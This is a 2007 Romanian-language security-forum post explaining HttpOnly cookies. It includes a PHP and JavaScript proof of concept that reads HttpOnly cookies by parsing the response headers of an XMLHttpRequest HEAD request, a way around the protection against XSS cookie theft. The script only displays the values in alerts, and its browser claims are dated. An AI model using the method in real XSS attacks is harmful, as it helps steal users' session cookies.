Jump to content
SlicK

Cookie'uri HTTP-only

Recommended Posts

Posted

Cookie'uri HTTP-only

Autor: SlicK
Data: 2 Mai 2007


Vulnerabilitatile XSS sunt deseori folosite de catre atacatori pentru a fura cookie-urile
utilizatorilor legitimi. Un mod clasic este accesarea variabilei "document.cookie" folosind
anumite scripturi javascript.

Incepand cu Internet Explorer 6 sp1, Microsoft a implementat o metoda prin care poate fi
impiedicat acest tip de atac. Aceasta metoda foloseste parametrul "HttpOnly" la setarea unui
cookie in headers astfel:
"Set-Cookie: NumeCookie:valoare; expires=Wednesday, 10-Oct-07 23:12:40 GMT; HttpOnly"

Cuvantul cheie "HttpOnly" instruieste browserul utilizatorului sa impiedice accesarea cookiului(document.cookie)
prin intermediului scripturilor client-side.

In continuare voi prezenta o metoda prin care un script javascript poate accesa acel cookie
ascuns prin trimiterea de requesturi raw la pagina si citirea headerelor.

Codul care urmeaza este un script PHP care arata diferenta dintre cele 2 tipuri de cookie'uri
si cum poat fi citite cookie'urile HTTP-only
=====================

<?php
// setam un cookie normal care poate fi gasit in "document.cookie"
header("Set-Cookie: CookieNormal=valoareA; expires=Wednesday, 10-Oct-08 23:12:40 GMT");

// setam un cookie ascuns
header("Set-Cookie: CookieAscuns=valoareB; expires=Wednesday, 10-Oct-08 23:12:40 GMT; HttpOnly");
?>

<script language="Javascript" type="text/javascript">

// functia care extrage cookiul ascuns din headere
function unHideCookie()
{
var xhr=new XMLHttpRequest(); // creem obiectul
xhr.open("HEAD",document.location,true); // setam un request HEAD catre aceeasi pagina
xhr.send(null); //trimitem requestul
xhr.onreadystatechange=function()
{
if(xhr.readyState==4)
{
if(xhr.status==200) // daca primim raspunsul corect
{
var hidden="";
var headers=xhr.getAllResponseHeaders().split("\n"); // citim toate hedearele si le stocam pe fiecare in cate un element al variabilei
for(i=0;i<headers.length;i++)
{
var header=headers[i].toLowerCase(); // indexOf este case sensitive
if(header.indexOf("httponly")>0) // atunci cand gasim un cookie ascuns
{
var cookie=headers[i].substring(headers[i].indexOf(" ")+1,headers[i].indexOf(";")+1); // extragem "nume=valoare;"
hidden=hidden+cookie+" "; // adaugam cookiul extras
}
}
//folosim cookie'urile stocate in variabila "hidden"
alert("Cookie Ascuns: "+hidden);
}
}
}
}

alert("document.cookie: "+document.cookie); // afisam cookiurile vizibile
unHideCookie(); // afisam cookiurile ascunse

</script>

=====================

Metoda HTTP-only de ascundere a cookiurilor fata de scripturile client-side este utilizata momentan doar de Internet Explorer dar pe viitor va fi implementata si de alte browsere.


Copywright 2007 rstzone.net

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...